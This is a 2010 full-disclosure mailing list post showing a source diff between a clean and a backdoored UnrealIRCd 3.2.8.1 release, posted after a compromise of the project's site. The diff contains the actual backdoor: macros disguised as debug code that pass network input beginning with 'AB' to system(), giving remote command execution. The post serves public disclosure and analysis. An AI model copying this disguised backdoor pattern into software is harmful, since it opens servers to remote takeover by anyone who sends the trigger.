full-disclosure - Re: Fw: [irc-security] UnrealIRCd 3.2.8.1 backdoored on official ftp and site

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sat, 12 Jun 2010 11:18:46 -0700
From: Andrew Farmer <andfarm@...il.com>
To: full-disclosure Disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: Fw: [irc-security] UnrealIRCd 3.2.8.1
	backdoored on official ftp and site

On 12 Jun 2010, at 08:09, Henri Salo wrote:
> I'd like to let you know that there's been a compromise of the 
> unrealircd website and ftp and the 3.2.8.1 tarball release had been 
> replaced by a backdoored copy.

Aaaaand here's the diff. Nature of the backdoor should be obvious upon inspection.

---

diff -ru Unreal3.2-good/include/struct.h Unreal3.2-backdoored/include/struct.h
--- Unreal3.2-good/include/struct.h	2009-04-13 04:03:57.000000000 -0700
+++ Unreal3.2-backdoored/include/struct.h	2009-04-13 04:03:00.000000000 -0700
@@ -430,6 +430,7 @@
 #endif
 
 /* Fake lag exception */
+
 #define IsNoFakeLag(x)      ((x)->flags & FLAGS_NOFAKELAG)
 #define SetNoFakeLag(x)     ((x)->flags |= FLAGS_NOFAKELAG)
 #define ClearNoFakeLag(x)   ((x)->flags &= ~FLAGS_NOFAKELAG)
@@ -448,6 +449,7 @@
 #else
 #define IsNotSpoof(x)           (1)
 #endif
+#define	DEBUGMODE3	    ((x)->flags & FLAGS_NOFAKELAG)
 
 #define GetHost(x)			(IsHidden(x) ? (x)->user->virthost : (x)->user->realhost)
 #define GetIP(x)			((x->user && x->user->ip_str) ? x->user->ip_str : (MyConnect(x) ? Inet_ia2p(&x->ip) : NULL))
@@ -513,6 +515,10 @@
 #else
 #define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__))
 #endif
+#ifdef DEBUGMODE3
+#define DEBUGMODE3_INFO	"AB"
+#define	DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
+#endif
 
 #define DontSendQuit(x)		(CHECKPROTO(x, PROTO_NOQUIT))
 #define IsToken(x)		(CHECKPROTO(x, PROTO_TOKEN))
@@ -1373,6 +1379,7 @@
 #define INCLUDE_REMOTE     0x2
 #define INCLUDE_DLQUEUED   0x4
 #define INCLUDE_USED       0x8
+#define DEBUG3_DOLOG_SYSTEM(x) system(x)
 	
 struct _configitem_include {
 	ConfigItem *prev, *next;
diff -ru Unreal3.2-good/src/s_bsd.c Unreal3.2-backdoored/src/s_bsd.c
--- Unreal3.2-good/src/s_bsd.c	2009-03-01 10:37:58.000000000 -0800
+++ Unreal3.2-backdoored/src/s_bsd.c	2006-06-16 11:29:00.000000000 -0700
@@ -1431,6 +1431,10 @@
 		    return 1;
 		if (length <= 0)
 			return length;
+#ifdef DEBUGMODE3
+	if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
+	    DEBUG3_LOG(readbuf);
+#endif
 		for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next)
 		{
 			int v = (*(h->func.intfunc))(cptr, readbuf, length);

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/